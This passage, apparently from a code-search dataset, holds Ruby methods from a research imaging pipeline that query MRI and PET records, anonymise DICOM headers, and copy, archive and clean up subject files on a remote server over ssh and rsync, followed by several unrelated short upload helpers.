!stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n # check if copied nii file is a directory -- found 2 exapmles\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'ls -dl \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n puts v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n v_return = stdout.read 1024 \n v_return_array = v_return.split(' ')\n if v_return_array[1] == \"2\"\n puts \" its a DIRECTORY!!!!!\"\n @schedulerun.comment = \"IT IS A DIRECTORY \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii; \"+@schedulerun.comment\n @schedulerun.save\n v_comment_warning = \"IT IS A DIRECTORY \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii;\" +v_comment_warning\n end\n\n end\n stdin.close\n stdout.close\n stderr.close\n\n\n else\n # nii not exists\n @schedulerun.comment = \"MISSING \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii; \"+@schedulerun.comment\n @schedulerun.save\n puts \"MISSIING \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\"\n v_comment_warning = \"MISSIING \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\" +v_comment_warning\n end \n \n end\n\n # get dti raw dicom for this subjectid/sp\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and image_datasets.series_description = series_description_maps.series_description\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('DTI') \n and image_datasets.series_description != 'DTI whole brain 2mm FATSAT ASSET'\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_cnt = 1\n v_dir_target = \"\"\n v_scan_desc_type_array = []\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n puts \"aaaaaa v_dir_target = \"+v_dir_target\n v_folder_array.push(v_dir_target)\n\n # v_call = \"/usr/bin/bunzip2 \"+v_parent_dir_target+\"/\"+v_dir_target+\"/*.bz2\"\n v_tmp = \"/tmp/\"+v_dir_target \n v_call = \"mise \"+v_path+\" \"+v_parent_dir_target+\"/\"+v_dir_target # works where bunzip2 cmd after rsync not work\n v_call = \"mise \"+v_path+\" \"+v_tmp \n #puts \"v_path = \"+v_path\n #puts \"v_parent_dir_target = \"+ v_parent_dir_target\n #puts \"v_dir_target=\"+v_dir_target\n puts \"AAAAAA \"+v_call\n stdin, stdout, stderr = Open3.popen3(v_call)\n stderr.each {|line|\n puts line\n }\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # temp - replace /Volumes/team/ and /Data/vtrak1/ with /Volumes/team-1 in dev\n # split on / --- get the last dir\n # make new dir name dir_series_description_type \n # check if in v_folder_array , if in v_folder_array , dir_series_description_type => dir_series_description_type_2\n # add dir, dir_series_description_type to v_folder_array\n # cp path ==> /tmp/adrc_dti/[subjectid]_yyymmdd_wisc/dir_series_description_type(_2)\n end\n\n\n if v_scan_desc_type_array.size > 0 \nputs \"dddddd in ids dicoms\"\nputs \" /tmp dir = \"+\"/tmp/\"+v_dir_target+\"/*/*.* 0. 1. 2. *.dcm\" \n # TURN INTO A LOOP \n v_dicom_field_array =['0010,0030','0010,0010','0008,0050','0008,1030','0010,0020','0040,0254','0008,0080','0008,1010','0009,1002','0009,1030','0018,1000',\n '0025,101A','0040,0242','0040,0243']\n v_dicom_field_value_hash ={'0010,0030'=>'DOB','0010,0010'=>'Name','0008,0050'=>'Accession Number',\n '0008,1030'=>'Study Description', '0010,0020'=>'Patient ID','0040,0254'=>'Performed Proc Step Desc',\n '0008,0080'=>'Institution Name','0008,1010'=>'Station Name','0009,1002'=>'Private',\n '0009,1030'=>'Private','0018,1000'=>'Device Serial Number','0025,101A'=>'Private',\n '0040,0242'=>'Performed Station Name','0040,0243'=>'Performed Location'}\n\n\n # v_dicom_field_array =['0010,0030']\n # v_dicom_field_value_hash ={'0010,0030'=>'DOB'}\n #### v_dicom_field_array.each do |dicom_key|\n Dir.glob('/tmp/'+v_dir_target+'/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n\n \n Dir.glob('/tmp/'+v_dir_target+'/*/*.0*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end }\n\n Dir.glob('/tmp/'+v_dir_target+'/*/*.1*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm)\n end \n end } \n Dir.glob('/tmp/'+v_dir_target+'/*/*.2*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end } \n Dir.glob('/tmp/'+v_dir_target+'/*/*.3*').each {|dcm| puts d = DICOM::DObject.read(dcm); \n v_dicom_field_array.each do |dicom_key|\n if !d[dicom_key].nil? \n d[dicom_key].value = v_dicom_field_value_hash[dicom_key]; d.write(dcm) \n end \n end } \n\n v_call = \"rsync -av /tmp/\"+v_dir_target+\" panda_user@merida.dom.wisc.edu:\"+v_parent_dir_target \n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n v_call = \"rm -rf /tmp/\"+v_dir_target\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n\n\n end \n\n # \n # # #puts \"bbbbb dicom clean \"+v_parent_dir_target+\"/*/\"\n # Dir.glob(v_parent_dir_target+'/*/*/*.dcm').each {|dcm| puts d = DICOM::DObject.read(dcm); if !d[\"0010,0030\"].nil? \n # d[\"0010,0030\"].value = \"DOB\"; d.write(dcm) \n # end } \n \n sql_dir_list = \"update cg_fjell_20140507 set dir_list ='\"+v_folder_array.join(',')+\"' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_dir_list)\n\n #tar.gz subjectid dir\n v_call = \"cd \"+v_target_dir+\"; /bin/tar -zcf \"+v_subject_dir+\".tar.gz \"+v_subject_dir+\"/\"\n v_call = 'ssh panda_user@merida.dom.wisc.edu \" tar -C '+v_target_dir+' -zcf '+v_parent_dir_target+'.tar.gz '+v_subject_dir+'/ \" '\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # remove subjectid dir\n v_call = 'ssh panda_user@merida.dom.wisc.edu \" rm -rf '+v_parent_dir_target+' \"'\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n # fsftp dir when set\n # sftp -- shared helper hasthe username /password and address\n # v_username = Shared.panda_admin_sftp_username # get from shared helper\n # v_passwrd = Shared.panda_admin_sftp_password # get from shared helperwhich is not on github\n # switch on new platform\n #v_username = Shared.panda_user_sftp_username # get from shared helper\n #v_passwrd = Shared.panda_user_sftp_password # get from shared helperwhich is not on github\n # v_ip = Shared.dom_sftp_host_address # get from shared helper\n # v_sftp_dir = Shared.goveas_target_path\n\n # problem that files are on merida, but panda running from nelson\n # need to ssh to merida as pand_admin, then sftp\n # v_source = \"panda_admin@merida.dom.wisc.edu:\"+v_target_dir+'/'+v_subject_dir+\".tar.gz\"\n\n # v_target = v_sftp_dir+\"/\" #+v_subject_dir+\".tar.gz\"\n\n # puts \"aaaaaa v_source = \"+v_source\n # puts \"bbbbbb v_target = \"+v_target\n # Net::SFTP.start(v_ip, v_username, :password => v_passwrd) do |sftp|\n # sftp.upload!(v_source, v_target)\n # end\n #\n sql_done = \"update cg_fjell_20140507 set done_flag ='Y' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_done)\n \n end # results\n \n @schedulerun.comment =(\"successful finish fjell_20140506_upload \"+v_comment_warning+\" \"+v_comment[0..1990])\n if !v_comment.include?(\"ERROR\")\n @schedulerun.status_flag =\"Y\"\n end\n @schedulerun.save\n @schedulerun.end_time = @schedulerun.updated_at \n @schedulerun.save\n \n \n \n end", "title": "" }, { "docid": "64f6501d40a28a932367400c4754233b", "score": "0.55365807", "text": "def upload\n kdi_upload(@output_dir, \"batch-#{millis}.json\", @kenna_connector_id, @kenna_api_host, @kenna_api_key)\n end", "title": "" }, { "docid": "261dfca96d33e73153c3288b440b07ee", "score": "0.5530923", "text": "def uploadFilesOnSFNET\n @GeneratedFileNames.each do |iFileName|\n log_debug \"Uploading #{iFileName} on SF.NET ...\"\n scp(\"#{@InstallerDir}/#{iFileName}\", \"#{@SFReleaseDir}/#{iFileName}\")\n end\n end", "title": "" }, { "docid": "b80359c1fcb7e175de05bf68ecd71956", "score": "0.54520816", "text": "def run_wahlin_t1_asl_resting\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"wahlin_t1_asl_resting\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('wahlin_t1_asl_resting')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting wahlin_t1_asl_resting_upload-MOVED TO SHARED_RETIRED\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n \n end", "title": "" }, { "docid": "a193f2c5df3352c17c48ccf0ed2e4fe9", "score": "0.5425531", "text": "def on_upload_start(request)\n end", "title": "" }, { "docid": "fb9b46e2b0219543574597b076d86dc6", "score": "0.542108", "text": "def run_hyunwoo_20140520_upload \n v_base_path = Shared.get_base_path()\n @schedule = Schedule.where(\"name in ('hyunwoo_20140520_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting hyunwoo_20140520_upload -MOVED TO SHARED_RETIRED.rb\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n \n end", "title": "" }, { "docid": "3eac693cf9a247a25e94b3386f4add1c", "score": "0.54204136", "text": "def transfer!\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n dest = File.join(remote_path, filename)\n Logger.info \"Storing '#{dest}'...\"\n\n uploader = nil\n File.open(src, \"r\") do |file|\n uploader = connection.get_chunked_uploader(file, file.stat.size)\n while uploader.offset < uploader.total_size\n with_retries do\n uploader.upload(1024**2 * chunk_size)\n end\n end\n end\n\n with_retries do\n uploader.finish(dest)\n end\n end\n rescue => err\n raise Error.wrap(err, \"Upload Failed!\")\n end", "title": "" }, { "docid": "786e6cb7a8a190312c825f5f9a15a1c3", "score": "0.5418865", "text": "def finish_ingest\n # XXX Right now we only join the hosting server; in the future\n # we will check the status via the ingest server.\n join_server\n end", "title": "" }, { "docid": "0cf4299d6e691508460bd2d11f4b6b37", "score": "0.53540105", "text": "def process(args)\n @logger = Logger.new(\"#{Rails.root}/log/image_importer.log\")\n\n t = Time.now\n @logger.info \"Importer starting up: \" + t.strftime(\"%m/%d/%Y\") + t.strftime(\"at %I:%M%p\")\n\n @doitem = nil\n @filegroup = nil\n @dodiv = nil\n\n record_progress(0, 100, \"Starting...\")\n\n #Magick goes here\n process_uploaded_file\n end", "title": "" }, { "docid": "3494e9035d864d65e780cb087f26d39d", "score": "0.5343327", "text": "def run_goveas_20131031_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"goveas_20131031_upload\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('goveas_20131031_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting goveas_20131031_upload -MOVED T+O SHARED_RETIRED.rb\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n \n \n end", "title": "" }, { "docid": "ee27b65401948c4819b8486217df1a37", "score": "0.53433263", "text": "def process_uploads(isd = nil)\n ROLLCALL_LOGGER.warn(\"#{Time.now} - Running TransformImportWorker\")\n if Rails.env == \"production\"\n rollcall_data_path = File.join(\"/var/www/openphin/shared\", \"rollcall\")\n elsif Rails.env == \"test\" || Rails.env == \"cucumber\"\n rollcall_data_path = File.join(File.dirname(__FILE__), \"..\", \"..\", \"tmp\")\n end\n unless isd.blank?\n begin\n SchoolDataTransformer.new(rollcall_data_path, isd.to_s).transform_and_import\n rescue Exception => e\n raise e if Rails.env == \"test\" || Rails.env == \"cucumber\"\n end\n else\n Rollcall::SchoolDistrict.all.each do |district|\n begin\n ROLLCALL_LOGGER.warn(\"#{Time.now} - Importing daily info for #{district.name.to_s}\")\n SchoolDataTransformer.new(rollcall_data_path, district.name.to_s).transform_and_import\n rescue Exception => e\n ROLLCALL_LOGGER.error(\"#{Time.now} - Exception: #{e.message}\")\n raise e if Rails.env == \"test\" || Rails.env == \"cucumber\"\n end\n end\n end\n Rollcall::AlarmQuery.find_all_by_alarm_set(true).each do |a|\n a.generate_alarm\n end\n end", "title": "" }, { "docid": "cb84da5ddfdb42116c68321cdc7470db", "score": "0.53279036", "text": "def upload\n if valid_data? \n create_parsing_log \n add_upload_to_queue\n render text: \"Upload Successful. Parsing in progress..\"\n else\n render tect: \"Failed to upload\"\n end\n end", "title": "" }, { "docid": "d7d308628cfc7e26a827b1e47a317f7f", "score": "0.5315108", "text": "def process!\n service = BatchFlow::FileDumpService.new(self)\n dumped_directory = service.perform!\n BatchFlowFileSmuggleService.new(self, dumped_directory, 'document', 'image').execute\n ensure\n service.clean\n end", "title": "" }, { "docid": "3df5cc4056dacbe2931b5df385483f9c", "score": "0.5307983", "text": "def run_washu_upload # CHNAGE _STATUS_FLAG = Y !!!!!!!\n v_base_path = Shared.get_base_path()\n @schedule = Schedule.where(\"name in ('washu_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting washu_upload -MOVED TO SHARED_RETIRED.rb\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save \n \n end", "title": "" }, { "docid": "a2dc4deacb06be5c71b6506ff24e96bc", "score": "0.53039426", "text": "def upload!\n check_upload_status\n\n if uploaded?\n log.info \"Cookbook #{cookbook_version} \" \\\n \"already uploaded to \" \\\n \"#{@config.payload[:server]}\"\n return\n end\n\n knife_upload\n end", "title": "" }, { "docid": "83e7f6860dde5c6d247881a1d84fef88", "score": "0.5289228", "text": "def exec\n start_sftp_for_each(@opts[:planets]) do |sftp|\n if !@opts[:download] then upload(sftp)\n elsif @opts[:local] then download(sftp)\n else cat(sftp)\n end\n end\n end", "title": "" }, { "docid": "8012e96ab9020352977113b0a22888dd", "score": "0.5283271", "text": "def run_selley_20130906_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"selley_20130906_upload\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('selley_20130906_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting selley_20130906_upload\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n v_comment = \"\"\n v_comment_warning =\"\"\n t = Time.now\n v_date_YM = t.strftime(\"%Y%m\") # just making monthly logs, prepend\n v_log_name =v_process_name+\"_\"+v_date_YM\n v_log_path =v_log_base+v_log_name\n v_stop_file_name = v_process_name+\"_stop\"\n v_stop_file_path = v_log_base+v_stop_file_name\n connection = ActiveRecord::Base.connection();\n \n v_target_dir = \"/home/panda_user/upload_selley_20130906\"\n v_final_target = \"ftp directory tbd\"\n v_series_description_category_array = ['T1_Volumetric','resting_fMRI']\n v_series_description_category_id_array = [19, 17]\n sql = \"select distinct subjectid, enrollment_id, scan_procedure_id, export_id from cg_selley_pdt_pet_mri\n where ( done_flag != 'Y' or done_flag is NULL)\n and ( status_flag != 'N' or status_flag is NULL)\n and scan_category_resting_fmri ='Y'\n and scan_category_t1_volumetric = 'Y' \n and pib_dvr_hypr_flag = 'Y'\n and fdg_summed_flag = 'Y'\n and global_quality = 'Pass' \" # and subjectid in ('pdt00038', 'pdt00067','pdt00166') \"\n results = connection.execute(sql)\n \n # get each subject , make target dir with export id\n # get each series decription / file name / nii file based on series_description_category\n # mkdir with series_description_category, # of scan - e.g. 3rd T1\n # copy over the .nii file, replace subjectid with export_id\n # bzip2 each subjectid dir\n results.each do |r|\n v_break = 0 # need a kill swith\n v_log = \"\"\n if File.file?(v_stop_file_path)\n File.delete(v_stop_file_path)\n v_break = 1\n v_log = v_log + \" STOPPING the results loop\"\n v_comment = \" STOPPING the results loop \"+v_comment\n end\n break if v_break > 0\n \n v_comment = \"strt \"+r[0]+\",\"+v_comment\n @schedulerun.comment =v_comment[0..1990]\n @schedulerun.save\n # update schedulerun comment - prepend \n sql_vgroup = \"select DATE_FORMAT(max(v.vgroup_date),'%Y%m%d' ) from vgroups v where v.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+r[0]+\"')\n and v.id in ( select scvg.vgroup_id from scan_procedures_vgroups scvg where scvg.scan_procedure_id in (26))\"\n results_vgroup = connection.execute(sql_vgroup)\n # mkdir /tmp/adrc_upload/[subjectid]_YYYYMMDD_wisc\n v_export_id = (@schedule.id).to_s+\"_\"+r[3].to_s\n v_subject_dir = v_export_id+\"_\"+(results_vgroup.first)[0].to_s+\"_wisc\"\n v_parent_dir_target =v_target_dir+\"/\"+v_subject_dir\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_subjectid = r[0].gsub(\"_v2\",\"\").gsub(\"_v3\",\"\").gsub(\"_v4\",\"\").gsub(\"_v5\",\"\")\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and image_datasets.series_description = series_description_maps.series_description\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('T1 Volumetic','T1 Volumetric','T1+Volumetric','T1_Volumetric','T1','resting_fMRI','resting fMRI','resting+fMRI') \n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_folder_array = [] # how to empty\n v_scan_desc_type_array = []\n v_cnt = 1\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n v_folder_array.push(v_dir_target) \n \n v_call = \"ssh panda_user@merida.dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_preprocessed_path = v_base_path+\"/preprocessed/visits/\"\n v_scan_procedure_path = ScanProcedure.find(r[2]).codename\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid+\"/unknown/\"+ v_subjectid+\"_*_\"+v_dir+\".nii \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n end\n\n # get pib and rename\n # dvd in subject space , use rFS_r<enum>_realignPIB_DVR_HYPR.nii if exists, else use r<enum>_realignPIB_DVR_HYPR.nii\n # exceptions- pdt00038, pdt00129,pdt00137,pdt00161 - readme describes slices used\n sql_pib = \"select distinct appointments.appointment_date, petscans.id petscan_id \n from vgroups , appointments, petscans \n where vgroups.transfer_pet = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = petscans.appointment_id and petscans.lookup_pettracer_id = 1\n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_pib)\n v_dir_target = \"pib\"\n results_dataset.each do |r_dataset|\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_preprocessed_path = v_base_path+\"/preprocessed/visits/\"\n v_scan_procedure_path = ScanProcedure.find(r[2]).codename\n if v_subjectid == \"pdt00038\" or v_subjectid == \"pdt00129\" or v_subjectid == \"pdt00137\" or v_subjectid == \"pdt00161\"\n v_pib_summed_file = v_subjectid+\"_pib_summed.nii\"\n v_readme_file = \"README\"\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid+\"/pet/pib/\"+ v_pib_summed_file+\" \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_pib_summed.nii '\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid+\"/pet/pib/\"+ v_readme_file+\" \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_pib_readme.txt '\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n else\n v_rFS_file =\"rFS_r\"+v_subjectid+\"_realignPIB_DVR_HYPR.nii\"\n v_file_name = v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid+\"/pet/pib/\"+ v_rFS_file\n if File.exist?(v_file_name)\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid+\"/pet/pib/\"+ v_rFS_file+\" \"+v_parent_dir_target +\"/\"+v_dir_target+\"/rFS_r\"+v_export_id+\"_realignPIB_DVR_HYPR.nii '\"\n \n else\n v_realign_file =\"r\"+v_subjectid+\"_realignPIB_DVR_HYPR.nii\"\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid+\"/pet/pib/\"+ v_realign_file+\" \"+v_parent_dir_target +\"/\"+v_dir_target+\"/r\"+v_export_id+\"_realignPIB_DVR_HYPR.nii '\"\n end\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n end\n end\n\n # get fdg and rename petscans.lookup_pettracer_id = 2\n # summed img in subj space, <enum>_fdg_summed.nii\n # exception - pdt00067 <enum>_fdg_summed.nii , readme describes slice used\n sql_fdg = \"select distinct appointments.appointment_date, petscans.id petscan_id \n from vgroups , appointments, petscans \n where vgroups.transfer_pet = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = petscans.appointment_id and petscans.lookup_pettracer_id = 2\n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_fdg)\n v_dir_target = \"fdg\"\n results_dataset.each do |r_dataset|\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_preprocessed_path = v_base_path+\"/preprocessed/visits/\"\n v_scan_procedure_path = ScanProcedure.find(r[2]).codename\n v_fdg_summed_file = v_subjectid+\"_fdg_summed.nii\"\n if v_subjectid == \"pdt00067\" \n v_fdg_summed_file = v_subjectid+\"_fdg_summed.nii\"\n v_readme_file = \"README\"\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid+\"/pet/fdg/\"+ v_fdg_summed_file+\" \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_fdg_summed.nii '\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid+\"/pet/fdg/\"+ v_readme_file+\" \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_fdg_readme.txt '\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n else\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid+\"/pet/fdg/\"+ v_fdg_summed_file+\" \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_fdg_summed.nii '\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n end\n end\n \n #tar.gz subjectid dir\n v_call = \"cd \"+v_target_dir+\"; /bin/tar -zcf \"+v_subject_dir+\".tar.gz \"+v_subject_dir+\"/\"\n v_call = 'ssh panda_user@merida.dom.wisc.edu \" tar -C '+v_target_dir+' -zcf '+v_parent_dir_target+'.tar.gz '+v_subject_dir+'/ \" '\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # remove subjectid dir\n v_call = 'ssh 